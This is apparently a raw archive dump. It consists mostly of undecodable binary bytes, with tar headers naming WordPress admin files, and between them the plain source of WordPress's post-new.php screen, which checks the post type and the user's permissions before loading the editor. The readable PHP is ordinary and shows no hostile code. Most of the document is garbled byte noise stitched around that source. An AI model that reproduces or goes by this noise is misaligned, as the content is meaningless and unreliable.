�>3��J�JE��k���"�}�ZȽ�	��Դ\����(�.&H�ji�e�i� ������U�&(����K�Y�͸M�����σF3�8��*�X�Qw�ۦ�`�.�HD�"��f��$��3�$rrt���;��r�n+'׾weA~� C^fa���$GU@�����oL(d��~�(`��>)�G��M�W�s��	7���\6bP��ySЛ6�&Sp�J�٢�/�K�m�al&�D�Q��ʧ�������&g���YN���t[�g�/���8w�#.*�Fs��	�6ע)l\�1���W��xKD��v#ʤ7�U��1�D��pQ<F.i���RG3v	�NJ�z���-�BP��>.���V5�<D��?Ky[ڬ�!Gy�� cC�����>���~����SA~)�l���`X=bv��:|��t�?(�������e��W��,O!��R�/����3���B��Ò��Ҳ�� SKA��hyH���߿ϥ��s���Z��s�:	]�Q}/x&5�<V|�h��NN��Kw,��h�z#u��FͿ'��UfQ���ݬl�q0�MU﨧݀`��Nk~�^���Y5w�N��d�k�S�p?D�-���l^|DPk���d�9���EՍ[y���8' �bm�qK����4����j���C<s��>N�3��	�F��{Y��
�R����<5d�v��G��[X����<�TO�D��5��cQ�\�p|�:J2(����Q���*q���Y�|
m,�
�~S�N���{P`n*�_�$u�/@bܤ�9�v$�����q�B�ËhP���� O�E!z�s�%-���O�q�N$��=�E��:�l�>Ϗ$�L��&p:�$(��٫�>ݹ�Jy�)�DZB����On+��e7YVo��Qr�a~�y-�p�)��w�/.P�<db�5�*��P+��Vg��
σ��e�.�������d&&������'Ҭk�N�H��Qo3�#<5���9�B�R�@���3WSom���|���=�� ��r�J����1r�+��
�����.��ǥ�3����a(F�2F���]�Y"��G���vw˰?xО�p�!��Ԏ00�E=�Z���3��$C"�,���~u�&є���y����/����T��f�Q1�}e�,�Ȥ�$&��:���2�:\���>���˶.'2�ۯ������UN>:z�Ŝ�і���2+��w�D�6\��$?
f�z���eO�my�ljñ�+�vl$a,�-����������!�߬�l`�bn]H�jf�����6�yάr{V�P�Ji
������m9��X<�h&��y�#y��j�pM�΃:��m�k�КE��s:Vb>��f��eS�$�D�7�V�Z
J�!h%��kA����|���9�r��������G��� )�	e�D���=��M�	0�˳��8u��=0��-��Z���n6�WX�{彚+$*_j#�WT���(<G��՞��}줍��UvK�ҞZ��k[&�����8y6�F�C�K�%�5��z)� �@9IQ���{^:L.�9��p
(�(K7z�"Q���K��xFIOY��G��-=w �4�D2�t���H��$1������ݨ��'���=y��Ԅ��_�Q�ʖ��\��@�y��3�@�ǂ)�.!�j	�}vb}>9g��b'��}�!��i��A�r�%��S��vYu~ͷ�����ђ�݁}ڢ9y���7T�W���+oD�0_�\�@V��8J�H���S�jג�&�@ߕ�uJbL	"��������Ʈ��M�'��G�������:D��Vi����ך��R~��r4R�E+6>�oE���_!���-/��s"H|�c<�8ƻk�u��y�k�?ƶ���n_��;��	�Pʎ�� f���+IL��>DZk�X%Gl�y]�_����	�8%8>����O�/�٥�yU�:K�� O��Lj���{�i\�C�× ���J��шR�i;�N�Y��>��$i��cGW�UG�zt�0jy�g��@C?�4�j�y�n�i砵�
9�N��b5!�jT3��B�M=E�f�HgT��UL�-�1����Ľk����Ҥ$���OF�F[q;8B�����4	�*���дsD��qE
=��Z�x�my�^��H7�oZ�FN�(�T���#�!�?�!�葂Ĕ6�s��'�R��l`@oݣ�j���|��(u
�c3\�A3�����٪"��R�5䰰��������$YzG�5&�b��bKS+���h�}���ޠ�4��yd���qdq�bS/ȈHe���5�H8�$�3IF��9��g��x=�1��M�]��ӌg�x�#�*�_�Wz>����sVr�	G��+�/��b)��'�8$WT�c|
^��)��=�%�1����������t�quh����Oe�@��+�3awbd��S��=�a	�^�|$Ja4�=m��"E|�bsW��1���#�
��͝��9�9$p+dԆ���Qc����!��B8*�4���w�HȞ��W݀�!߰��t��5�
]�eG9���AeE8u��6?3�m�U��.!̿<���)����7t$8.;R�7ˎr�
::�j�Jɻ��
�]���@���!I�>��<���G��OT��1E5)q�V�]��y h/Ә�	��Jb�]_c��xB��
�2pW�骜�A�Bp	&|��P���y$H�sV��J$�<!��G�H/&�!"	��Az
�\L��x�^$�V�]Q��N�_$���|�:dȵS@u��Op}{�߾A��\�\�3$���Hv%Oܭ{��A���VE�
���KH)$sО�M�A�Z�mC�7��6�e���U�%�w|q��3�qe�)�|�Y��L&,|2���'��=heՠxX`>�8h�j��f[l���E�(���g)�ϩvy�4I
͔��:[�߉��c�dW�hm�;��\ײ0:_�x��A�F$�>	�I�9�"׭�H�w�:��4�&n'������R�ɼd��5[�6��Y@�|b?��֋��Ѥע�+x2�AѷX3�\��k ���<-Z9�vH��|�yL�s4�t��D�Ň`Sq~��+�������ۛ���{Z��P��V��v����5��a��=�	�Bx�2��ɦ��&�/�W`�� �;<8����f���4�"VO�F��Ь�wG?¦M��Л�\���]��0̞1v�}�^��_���z�hL�d9��m�)���{l�+���	�yyt-G>i_��L���J��N�6���+�lR"xӇ�k��cs��� .�L�Gc���/~��8�͢��F�Ŧ�)�?�{�q�o��$�w���y^wX�lx7 �q�����`c&]�kp�p�cu��E��t��٧Yn����U@$�c�F�n�P_�+/8��:(QZ������@��4J�/b��́��ݬJ4]�"�<~LI�����ܣ
���&	2�J�Bz����V�x��"b]S
�0�h��<�M�6I�/T�'[�Ec��\����"J����F�2}�A����p�ࢦ|��-s�J����j�(����*�hKn0�aF�*g9L=��� 6�����$E�3���"�TM�jv�䂛� E��À�������������J�.
�Z�B�o�_4r��:�l�
���M瘝���� �y�д}�vAI֙��{��%Ler�&���CVh�7����R/�Lv�7u�(0�꥘���{4+�f�)���^W^'���T�����k�|��r����R�$o��c���j9��L�d�jڈJ�`Ò
�'/L�r�W��31�;v��
��}�4��0m%w4�4a��]ՄV�����X��ӽZ$"
"5Үsb?:C�މwOS��f�+ܞ�UY��8úE��B.���T�2M�����qw��]�?Z?�1}�!=�/�z�
�o'P b}J5��7R���{�(Lg1{=�,h����q��Xq��6��pH�:T����󛚲�'�b�Bu5F	+K�����J��;'����e=7>~��2��AU�����j�y%A�ݕ�`�G?�{&�ܿ�]S�\��<�F7�(����H�4t�kz���*�{m�y"�h,冨�G'�o�Q���-i|��f��鈕i�P�ݯ|=U����
�BG�i����I��t�E�}����]�_òj���ɂn�T���kD�h��%��U�f�{�y$��/�{rI㞿�s�u���z�������o\�6� ���O-�͝��6�!3��G����x	'��<��)&7֑�FC.gm��]�zrHעKUe83�u��C����k�Ϡ��r��R�;Y'Gˡ�.P�Xi-O��]��vY�l�1�9j�fB|MV�C�ר��I��c�|�HP�a�Ű�Xk,�L��V+��y�ăg��>q-��M	,�Ҋ�����
"f��JZ av'��E�F��jEĥ"TQ�Y�@�Yaf2�YQ5�Ҏg��NYhq��-�[� Dk�LOGK�ԌyO�m��OOiE� J����8�O��(S�ӯ�������E��z6��
��P�d�zk�>q_�6gܼ��=�ŗ������;�I3I�$rj��;iw��1g[�/�W���"�i�t�L*���6X�𝘛���d8�j��\=��������#&�0C�������Q��Έ9��}���I�>�W�5���EN|Kq���:S
T�l�������|��ƶ�o���R�<�R����>7�i���8���y+.Խ���2&�~v���A�����f���������s�{uFcT�=L]�l���i(n����4���K��wr�S�u��v'�c[���S��H>66"M,+g�F�["��M�?3ܐ���i�a�4�5�1�b�xV��j^RJ��y���\�H��
KV#���jV#���P�3�
˓��
��?7䠁�g.#�ך�:������e[����G��Z�o��@$�W^AO��b��uU��.��<@P�����f�i�2
^���^��i݌���xS�
�:����Ϊ�=��B�������Jj��g���p�ZBU҇��X�� 9��~#B�Bt�H�A�cJL��XQ�~%�S�Z	��ޢ�w.-t�0�-�Z���%7(A\5>��8I�]t��M&w���S��~�>�*�Ȩ��	��S��ݺ�XwJ{�k��'x]f�(��$���n���x�aD�E�N*��8�?��X^2��(qϟ�H�lb�ă]k�*%! �Eͅ<'��&�~��T�3�;�1j���I���+~z����l�p�����&�R��8�y���C�*xc���{p'�t�L	��Ț��u��&�c����
D���U\�K�A��c:�>�k��W&?F��`�$X�!|�ǝ4�{�BH�pڞ(c�?A��O��ߍG,��>�T$	p?��-p|��Wpr�z��X
y(�;��d7i)�l��8��ȶ�k�S��z�6�7�&��m���eW3���*�jW����¦Y
|����#œB�!&����}9Y�`í�}��7C�/�9<��W��Q��t�SN�d�(�AX�1�,K>j��qIΧ��qq�.��?�Xn%�3�f���K4��A
;n�N>���r+{
T	o�!f�G��5��>3���Z����
r\��\\Q�̈Ѭ�x35��}Aq������v��k�@=m�CΙ�@� '5x�s���Iy�>ܵt�_�I��a��}����%��� �p��Ɯ�eA��������6�!��3Z�jM-qI�Y�����/�4	C�����$�3��V����=��16��tm���=��+���i�l����+(8u�a�>�Y�W��;!�r�T�f��F��*%�hR�A���S�5Ĥsz�R���>�%2;�������
<�9/=2��5�h��=�'��&�fM��?�^�"z���2�zu�L�kѭ��,Z�4��Ԝ��2Ex��G��J�ǖ؎��IZv��-�`�:k\�2e��Þ�E68��Է�.�ƻv7��yh�^jط#�}v�V�aR�+[�c�R<�@S�?co�2���Av�ڭ�lǾ�����5?p6��Jib���<��JA�	,\S+��Ā���ML��Lu���-Jɪ�(ք?K���!���IHm.�@#9@�B��t�I���
Ⱥ�"�%~UGx�t�P��$���E-�<�0�+V�t"�SP��+
����s�m)7��1J�_F+M���t�Ԫ�$��&s��E!��~^r�U^0��[th�	k�샷����qMh��pRbI"�kW�<���55�`S��im�0"[k�>�4���0�$�KPN2�)�7w{���z;JUJM��CH���0I�MX�=�-��G��5�'X�
��'�d�O7(��p�V�,����L@57A�e9u��j�&��eS��\4�L������S�|Vg<+�pխ���������j��J�ܡf��Z-'��V�J]dJ^P]U�N��D��E�b:�Ċ���}\.9#��9d7�]z,�nD
C�û�z����=W3�!w9].�S�d�z��7��y@ �u�����	^�+�*�X�3�5��)M�зy���nqԶ��z���d�����!4�ǧ��d��+&��z�k�.%a�-�9*�ג#	\Z�s���
�%I�X����2���V���ո��!��[�#G��Sq�!ȏ�S�"�~��rW���JB��w�;�fø�V+�+�Y��,&��[2J����O�27qV*��EU��g������~�c���C��q�&�|����޻���W|A�9{{C��V"d����y�y�,��Oٶ-ٻ����ޭ�R|fx�S�O�\kק�]�������Y��G�s�x�x�MJ���?��ӊj*�|@T�:*�q�&��F�g
p姪�������"�i; E�!�tW�
=e͙�K[Ҹ��0bb�@g�d��c(ʄCfewoTL�z��A4��X��o-m'�w�C��O�p*KM�J�YsUqD�Tqk�Pr��&��U�D��> �����H�G��W���a�mV��Mc����%��B�'�Y�O!���x�pˌ���a\j5��vi�6��xm����t9V�1�cuC4r��e
a7���r�s����}�Wɜ����qB�{*.:O;�\|v���o�z~{dz���pGf
�GP����2����y��8/̼��F��-B�U�,/�ާ�1���
X���r�8!Xd.f���>�{&�QL��HWC������ux-;za�F'��Gu��a�R��5�;Z��kP�&z��%]r,��,�SsN�\���(�7)�B����X��eu�<"�CoKr�W�=~⨂�=�3�5Κ*�i�b� �t��s3��ے
����-+c/�D&���'u����p�C���D��wan����s���ӱ|)-� �0q�������?a'q4=�.}l%��셣q29��F�L�P
�`jюQ|M�|�+������T^Z,&��)�rH�"D�@�o�[�A@(Ih;ql�Y�L�H���va���(�B�S�g���8=9x��*&�L�V�b�|f����?9NB:ĉ�/�CݽO9cɊ_l}:�>��)�Pݶ�Շ)��
5Db�s%q��u�.����Ք�l&���N�~Q�|�e�G�ڦ��#� 6�%w�}Sp�9��K��U�^�Т&����H��"�Z�Z�q3q�Ȳ��ok�� C�5��
}�p=��{[�����c�B�����tB�8���J�#®��ã�(�s�E=�Hx�!�3ʈ'��TlG�D��esmR��D�#��A�F��t�(��T��T�1bQ�����	gj>%�e=�WK_����I�M&f�$Jvb!��u��/�;ʄ�>,f�����5�sڄm���A���\$mUU{@�y���:
)�Ȥv�-􎥂�/�w(�W7[ș�=Qq�j����jq�mIƒ�����,s��$X��ɾW��{�Q�7�63�}�1y��Tw)��&�L�AR$|��*�Rf����/�3��	�EZ+�M��Q?_�;O�T+�?]V�VG�

�Tn��{3`5Q��4߲1��א��$�;�m�Vq���ݔ��e�S"�Y�-�g"�-�lea4*�D�U��j�}L��!Q?�9�_�h��?	�m&�\Ƙ��]Vn���Ԭ9��z�p�'�-'�wJ��)����Q�R^���3�jO���o)�[s�{�þ�ٻ�+M4;�26yI�Y.�i���7��˨/�N���wJ�����Z�#�,��-;,l&�4����M!���~�mP��{m� e���z;@�~��4Dώ��m]GJ���j�բ��!)�����Y3�B��!�h�H�$��a�!�#T�_�q�Ú�[��~�j���J��.��8$|��?�%Йb�E��I����8>ޤ�B��s��#��J��P��R�k��.f'��܏���]���s6�`譅:�{�T��0�b(8T�Z���Z��=j���Vts��þ���:�0�>,[[�h_���i����JhLs���b�,T�@>�Q��*A8���4&�!@�Ҝ۽��~�XX�ۏO4�#cy��� 6�Z4�NFȿ��*�k6��
�y�v�弆�Cq���:1z��~�*��(FE6�F���'�.h�Y}�<��4��Ч�}�� }����U��-�Z,Hd���*ۜ�6^p�������L�ia�>�h�㴻�׳�ɺ���GFv?�K��E��S\� n;��@U^��<*�R|zS����6V������R6������x
}6O�J�[�/���o�]8
5�!��q�*=��h>/J[]���}-ߔ�����=�r��b�#"!�.�kXPTx�@O�%�w�{O��Ha���Y�fMf���.Kt��D�daU�k�M(/$�\a�?t�'?vj�ڋ|�l*�4��LA���ZF�þ�j[�k������\��
��1J%	l.
d�w`�(�*�V�=����߇&��Op�%X��!‡RB�zv����x$*�KDFS�.:ݐ���`&���n���m@ѹ��e���@k
.\6IgB��x�
���S8�m;��L��v���ӝ&�2W�LDo���Ԝh'�N�
\�u��!5�Y�sw��|`7~�R�w��:
�P�?�\7�X��x��i���d\��sp,W�q����� �C��&�Lk�y�y�3�<�~=H��Y,�`Y���D>\w�@�(������D�~��P���a6��>1D߻��z���Qˑ߭B�8��~*
o=>�6a���cN.�+������c��2�w�D53�l�$�o�
�@M$��Dj��Ey�<���n��y]�̛�e���?�����CO^�g�;���ŃO��}�\���w��v�H��#���x^{m��̚Ţ\u�d	I؀�ٵF�A���0�fԂ�O�"�^�6�/��	>�I�\�`�a��aG���w�"��&2�_f�P����/�k�r��r�7�ɐa�8ѤZ��NM9KK!�,V�������(C�s�v�����Y�=x$0�	4�U7��z[�%��=J�w��^v�]$��!��\�L�x��DqY�ϔ-4g���Q�����,suI��)8���8^,aK��;�8�_tM������x�R�L�;�X�((`�����UU.Qj�%��c��r�\@�sY���7�>�ҵkp��
H�ڥs���3@"k�a����c��:��p-`K\�еG�.y�e+���p�Xy��y�^W#,�+��(��4w�7��I(W�w�
`��亭�@"+�	z�o�M���ܖA�EݭOIK9Y5+ $vDnh��c@���	�$�^L��z���o,����H��A~1�}��A�<�q���?�h�X�q��o=�]��S�aK�ķ��s�?r!�Lj�Y��Y�_�Sn엘L�I<iz'?=Ѭxr�5��L��ZiZ!��Q��z%�/���b��6܂�[
����H*�Ȉ���&����f9x�wW�q��ɀ�EiЛ�(�=$��I�\G7@‰�L�u?���_J���ZNٽ]�T�13����Vэ��9�K$ɓfU-�Ҭ�Hb�T��.L�(��U��
�%b6R��J��rfχ6�mݭE<��6���R�z���瀚�0�nƂ��G�k�8�9�.݀��W%�٠()�2���55��v֓���=�R���&���c���$b[-��qof
X��Z�?������(��������QP2Eb�|�U'�\��pDi|K�%��[��~��� �I���OL4n}��O����A:��"��i�Sɨz�ی��PGH��1q�\W�]t$leo����9a�4O9կ�[�8C�2U�$���iD���=��@
��K��J&P!s�.n�>B�]��s'���J�ۜ�cH ( ��(�c�؞q�� >a�����|�'�tp"S�-�J��)��i��c��`TTX3v�p
�jm���2�(�vȠGl����m��T0]���[����qlW'�}F��"����hj#[���'��z�����L�Ys��o�/'
�o(�^�
M�|�ʡ��].�r�;e�L��6L=z��c�J�N�X,�GRbƽ��O�I��G�]�0�vd&��e۬א���ז��%��H+�rj����<D&���yM��_^}ʵL���_�`n#$vހ�0^�a�B��29�jNN�̌x?C1�X��1҃<�KND��7��į�(J�h
�,[x7�~�q:��q�޸�P�	SR��q��t�j���$�}��v�D�hUw�wHV�^6�s��6Qt�@.<O���H8i�����;�ɐ�o�k*P�(V̎�
LL�UysVq��I������A��0W��$8�{�"�ig%*�bD��a8�?�1ѷ��ߚh|1��A�A��!�|}��7+x�G\���ٍ0�W�p@O�^��pU�onȏӓ�~�V�p�y�3������﹛03����R��b�y2&4��ԧ_�R"y�I��T�l��:��[�L
"�;��֞4k���4v��E�GJ���
�:��yX�~{�����#sņ�#���eȞ����	�(&]Z�	��i�#�:I�/���礟<�K�9���ӒW�t�'���	��!��G��c&��=}̱���?a��tC\�v��B6�`CI��ɱgf�Zݼg��ID,L��n��)���E/�RSO`�ۈ�� ۴�����SK��.�Nt<�J����pw=8)���Nzvb��v���wǰ�
6�>�L0!'����L��-2��o��z۸��ڿb�d+�)��N�n.-�E�
�4�"�۳�g���n�ߗ�F�Crf�$-�@��&^�C�|߉��^SbE��}77P�~=��p�di�r��]Q��z��1bxp3ҶE���}�����ɨ�z���g?'��H��_�7��V�H�Q�'6,A�}�f%�aʱ�;2�z4�lh�a�2�3qe�����;Y0[��o�/Ά�]���i���sJ"��'ƣ��[�T�bd�U~�U�؜��:�#�I�����"��ȝ����^HG_���W��}�	%�䌯���o�T��q���= �1L���s�`k�n��f��F�߸�|7��}�4nr<���p��])<����{��ޛ��aވS;e.d���7�S�Q<�ŝ�(C��ʡ���.����c�������3[	7�G�b�'ׇ�|��W�pe��	�*V�܏W��*H��ګ�#b/8$d����v�_X��I1i�:��;�
@�
���!�%ȼլ>���Zx/Z���;y����z���|��ų��9�/�4P���2(&Á0�QC��ǧ��F�5�5�Q�A�k�ԥ��\\s=T@h�i��f
�=���l�;4F�c`��+t��5|�59)�)�3?��AA�1	�
� �%���M+�	Z�����ٗ��R|V����-W#�M��NaũK��j?0k�b��QB�K�<
`B���1��p%��{w<+�5�C+��m"�I9�qQy���j'�'o��'��#��^p�g�C�eN��'ĩO������ȇq�.�a�!�J@6�ԗ
ϑ#����y�{�3B(� >�<�F�äb� 4X���,�Ø@-��C��d}d�5�xu��a:�ˡQ:��RW�<����
H��t�qSqY��cb����E�L�F�n�	�H�d��ӐO;�����?��q���a�Ɇ{���(�03�U�4*�F7�bU��0
�nۚ;�M(��O��������Q	��{�>��]�&�
D>ʏ��.��}�~K��=�ī`��Fk!"�^!T�-LOK�.��԰���)�;cף<R�g(j�]q2o(�qW|�q�v�m7�sV*��Ԇq���3{��p�16�O��
Vl]��	�:7x����RxB ~�㟹�o(q�P�֠���0����E�ׇ
*���M�_�[rh���R��T���h[��HXe��â�� ��ś?!3�s�=:4p]EF���Q�)3F���v���1#��xa�eθ����2/�@�l��Cg�N'׹��e���#�U켃������#���I�������nw>�q�����Lj,����R��?;�i�j��b�^��1�(V̶;�O�P�N8�1cԭ�&&放	���l��"������7�8d�Q�ׇ��y����y��Rp#/=���G�A����w��#G�	;I	ُ��z��P�nf�D��J�睶��\�wQ��1������'Bn볋h';1�*�E��_��S�xo]�
�Z8)�t9����D���P�\W����ea����Euq ��'Z���J��7�V�|S�x^�"EM�Qd4oOw
�~�,�g����Kk@Cg���]�%�G�>�z�^���}����}��Zئ�Q�6Q�E���K]��-Uj^҇T�w��7�B�������%�7ű����J�n���VMAt*���:ydиJk��.�RԋYu�R�[H�#�	�j��I��G~܌~n]���V岜����k�5b<8C�B!��h/���Ƈ�i/��YS�0C�'pXI���a��P?�+����5��ӳ��0٦$�v���j^`B_�>�=��x1.s��>t[��$4��4���Xt�8b��G��#.����q�iojx|�<��S6�E�y�Y�3�ܨ��b+���wӪM~���֬_�ﻞ�0�B�ˤŇJ'��?���JH��	/8オ�.�"�[&�;M�y	`(��n�򳏶=�Z�'��D[Ϋ�+L�YI�iJ������R�z����������A�p���n�����)'n���D�8��p1�g��9+.��fb�M-�(7&��]����~Ͳ:)�Uy��3{��!���n&a9���J'֭43.Cٕ��%���2�(�����͢�,�P<��ٚ��h� �O�u�Y�&�~	B&�:zA.�(�]U9�L��{�"a�SZ��:F�ﵗ��lUX։ゖC:ǧ��=�;H���w���\����ok��O���N��i�-=����(]��J��	�'h��$DN���"�]�QNY�x����K_��˲q��@�?���i���4<�yh�����lT��R\@�D��c�'�Ng{tT�r#e�E�ثeE�ʨ�!}���Ŋ��*[��㋅�f�V��'H�h�AU�K
������6��l�G��/=��/]�ڟ6~'^�6�W�6�f�Dؙg�R��{S�\Ú���R�N�:\~	��:}�catvT{+�j�baaG���l�Etʜ��ŕ�(`>-/�7U��7W`�Ug^4������������]�k)9�
�?~lV� ��A�v��Zs��s�����Eÿ1�3f�6ݙa�J��0�a�3(�e�I1�l�I�2�->��(i���P�@�7���QvI<�IE�Clq3V�i݋��+x���ׄ�ݜ���=��a��ިC�푼�}����/�b�15H�߳?�cS��c�*�LO��Yi`	3�[�$p#;m֗�COiފWʀ*%��J#IKPߡ�ҷg=��P=�9G��SBtհ )�U��+Hw너:��S��M+�Y�(�jQ"�^w*�3��U3Z�a�%��lx*d�_O�b��`�kE�
�b|�	l.FV�;�'��>w���2;Dv���ѡ���?Ŵ�>-���X����/����I�l���GɈM4�{Esf7����*���t��2��kx�\Gh+PLz��7;k��4v
��r$���-��1	_B���X0U��P���r~�}ڲ�a<(Y+�s�텊Q�(�6B7�[i��Y2���PB:>=�Fz���?���
�;k}(����T��Mspp��H��^��b��m6\�˲��о��!A�����dF���GBLϑj����J U"�n��Gy�g�ۦJ�*2�D�6/-V�ȹ��c{�L�6�Z��'p�IQ���|8�;o\I#��~��_�j߲�|T���)��(:�so+��r}�,	Q[�V�^������Ʋv�I��*B��3�S���<��v�z�j�����G�@8���aWL-v��s�
�6{}�R��5���+ɂb�t�rd5�������O����J�'�'�G_�>H�,O����3N����ѹ����o(RŢ�A�Y�(*R%�����K���Rtˆ�k3�]7SLaB[�z���)�p�Y��@窚p8�	g���J��N>�\�)�{a��>�?񅟴��L
J��	}8Jˣa������8D]^N?�b���;�S��:o���N�p����� �~_w��2�G6����5�J�)���vc�V�/�(c6]^m��!�%Z�hV!�=N�ɷxG5����w?���B�M�hE�`��I������K�ķk`�iV�Z���0�3���e�:,�q;"F�s۬��~1�	f>����4)N�?�X�����X����J�x��7Z�r*�<�`<?;�z�¢�8"��zW$���N�'��U��/Wny���#?`질�{�B��N����.Ƌ��	&��/�w�!4���uR�
I����{e�᳄�Nr',��@�y��,~�-��c܈$��rY�-�>P+Ԑ�>Q n�{�T��;�x�w�q�l����M�;$�X��BW��?�zHn����'�����f!�Val9N�w�h��	�o�
�S�*��֐�Z�f(�qza�ӏ�᚝��=$��u)8ƱG4F���$�����@�Bs�N����|DX-�O�������p�_ ��	�x�����&���`J�t@�l��&µ��`�-�3oX�
h�h@H�Wb��J	i�D�9#��`3e�U,p��(�������V�	�S��$9(�0I�a�S�wژ;��X[m�|-��*0H%���`�-�]�P�A�}5�{s����D�K�S�QwN��0�F�dH_�H��u�To5E>�\����d��Mq���q9� ʗ3��
+����@J5++�btWÁ��Z�c�����Ao]$�>2:Y���66����� 	���R�so�iod�#�����DPbwp�p4���cD-D�V"����>+%$^g��
2�2�T��p֞*֧�4��
L�m�}輇�U�m�=�l��c��{��� ���:��]����r~���?_�|��O���ITV5�post-new.php.tar000064400000011000150276633110007612 0ustar00home/natitnen/crestassured.com/wp-admin/post-new.php000064400000005217150274100330016601 0ustar00<?php
/**
 * New Post Administration Screen.
 *
 * @package WordPress
 * @subpackage Administration
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

/**
 * @global string  $post_type
 * @global object  $post_type_object
 * @global WP_Post $post             Global post object.
 */
global $post_type, $post_type_object, $post;

if ( ! isset( $_GET['post_type'] ) ) {
	$post_type = 'post';
} elseif ( in_array( $_GET['post_type'], get_post_types( array( 'show_ui' => true ) ), true ) ) {
	$post_type = $_GET['post_type'];
} else {
	wp_die( __( 'Invalid post type.' ) );
}
$post_type_object = get_post_type_object( $post_type );

if ( 'post' === $post_type ) {
	$parent_file  = 'edit.php';
	$submenu_file = 'post-new.php';
} elseif ( 'attachment' === $post_type ) {
	if ( wp_redirect( admin_url( 'media-new.php' ) ) ) {
		exit;
	}
} else {
	$submenu_file = "post-new.php?post_type=$post_type";
	if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) {
		$parent_file = $post_type_object->show_in_menu;
		// What if there isn't a post-new.php item for this post type?
		if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
			if ( isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) {
				// Fall back to edit.php for that post type, if it exists.
				$submenu_file = "edit.php?post_type=$post_type";
			} else {
				// Otherwise, give up and highlight the parent.
				$submenu_file = $parent_file;
			}
		}
	} else {
		$parent_file = "edit.php?post_type=$post_type";
	}
}

$title = $post_type_object->labels->add_new_item;

$editing = true;

if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) {
	wp_die(
		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
		'<p>' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '</p>',
		403
	);
}

$post    = get_default_post_to_edit( $post_type, true );
$post_ID = $post->ID;

/** This filter is documented in wp-admin/post.php */
if ( apply_filters( 'replace_editor', false, $post ) !== true ) {
	if ( use_block_editor_for_post( $post ) ) {
		require ABSPATH . 'wp-admin/edit-form-blocks.php';
	} else {
		wp_enqueue_script( 'autosave' );
		require ABSPATH . 'wp-admin/edit-form-advanced.php';
	}
} else {
	// Flag that we're not loading the block editor.
	$current_screen = get_current_screen();
	$current_screen->is_block_editor( false );
}

require_once ABSPATH . 'wp-admin/admin-footer.php';
edit-tag-form.php.php.tar.gz000064400000005612150276633110011716 0ustar00��Zmo�8ޯ֯�
A���t�
������pX�)����c��E�D%u{��73����v�@��F&���p�Rs�~µԉH�0��y^d"�j�_�}-d�H�����t����3��������㓣�����<����~tr|r̆w�㋟���_c�o���^:���{���`�n2���$��\��Y��u�-)OD�` �}����	�Ne����Z�bZv�h
�^�q|��V��Y�x�"��P�ˁ#/Y���"q)u����oo^���c���Ӊ���4�:7��%��hS��\��e�\��ʖ���@�*Q��a�K���s6�j��\e��CI#$$��9(F�'����4D"ف:b?
��!{���y.�>WS�@�/�л��Z�:�_�wo�s�p����2�hV.�i�R��-�BT�CTlP�k���q4)���2����=��оCZR5�=F��L>�P�a����j���jn��t}�ϭ�n��ӯ�=|���`�Ch�)!�u-�6��){�8�:͟�~$�D�R�
��RD���f~&.� �e���9�����x��W��n)��8A`�d�Q��s����,u%��³Y��(W��.����k5��g�{�9l�tYY _&~/�X�v`��
PV�	�#�ב�N�ct�N+�n�9a"�	<���)��p��2��Te4�%�@|f�#z��ً���L+����q1+�Qy.�q�M��z�Y�g�+���NUn�o�۩]��qk�OOm�Vؖ�#!����(Y�<X[��Tn�e�V�w{$G�����l�8�H^�0�ln�^g<u'�h~4���D8W4�?��`�?!�R��@
<(;8 .`�]&s0��E��=bO
��g��Y���1//�,
-��Ł�/�_c���T�������\G����Xu�5g@�5ρe��(�.ryY�e0���2��&�貜'R�O�ЬO�3ُ�p�M�J��I�F�� �;)��E�]Q�2�@+�zn�|^����f�Di�nc�=x7�/O/S�O�ٷu˨�I�5����d��xHq�!�`��!���JFc����6�������	�)�.�X�K�Տ��s
�.36n����r˭r�V�j@	���6��yz8B���ag�6Ӵ��h;6��p1R�����$-��P��\F�H\�O���@ۅ�6�`�8��q
lA��Zg&��������ʲ�u�)�����L&<.}7��"�|Cg��y%U�S��	FȒ�+R464�z��}%B���10U��n-�m����@j����D����爙�3�&#�r6�Wk��&Uh�۷m�*�ݮ
Mî�)O�����#-dy�B�S@�����T,1�� IY���i�KIm!�3���B"
ԧ�e*'�DHu5���Z�d]d����p�}��o�����<T藙�L�H��.��6}�Gp�_���Ta�3�8�i��s�6�X�7nN�((�7Z|ԛE]��s�c�x$��Zp?���ކ���h�43ٖԠ�o�KKU�:K�ZC�gO$�9h0�HQ틯��C;���� i�#�!�A��= |��%;���5���:259=Cf�FَcG���x��q�(b-�P�ؐ	��,���.H-�DQ��]�f��Do��?2'#oOZ�?cQ�l:CE���p7�`��kLa�^m�(�Z���>을
g
�PZ
�M%$*���A}+�X�iv>$N��P%h�����Vo�k�A[h����opb����,U��18d�$븍IԆi;O�x	�K�`Ks\}�^�A޳�9f���v:g�]����ȼ�v���6:y˟�Q���kC��3���φ������\��g!�(��+�3vv�^������m5�!��cZ��2:Q��H]'xh��`]x@�)T��T/�j�a��+/�ʂJ���B��l-�L�Y�a�r��He�Ȧ
NDDCK�\��"Z�mV�$)�	t&��!e2��X�tEI�f9�\]�LNA�U`�_�%!�y�0s��Ȧ���`�1�n�ظ0�G��b�vWV�q�ʲذa{W�ik=-zćVC#E�,�dg���"�9�0Ê���a�춳|�R�`]�����NJ$�0K��<�	9+7{9`�U[��\�}��>U��=�fEi�!������SH|)�*�/匽��;W������
�iS3tJ|��o�@��[A�)��S+�&p���!o�Ć{��}~��]9+�+��1mM����~�B<��eXb�`�PTR�[d�e�����&�.K�h�)x:��l�-�9m� ��9���o�:�=����*�ݗ��i�\UCgP�<��r-�+Sȿ�)�7#u1h�i]����w������/�{ޘ��n�n�y���}�_`Kv��/n�ps�R�yue�ͫ{��p/%Wׄ�Z�T�V���[[T���{]r�
gq5���q5Y�Lnu�5Mu&���iڈ��j4��ܦz{�ln��(�ϭ���p�d����-����I��DwJ���}-�G�=>�Cֱ��X�W��2�m����_>l4��?�3���6]Jl��tU�p�	;���;�쾚wV���/���VUy1]�i�5�B�o邊>	��L.88y�%E�̡Jy�߬�C����E
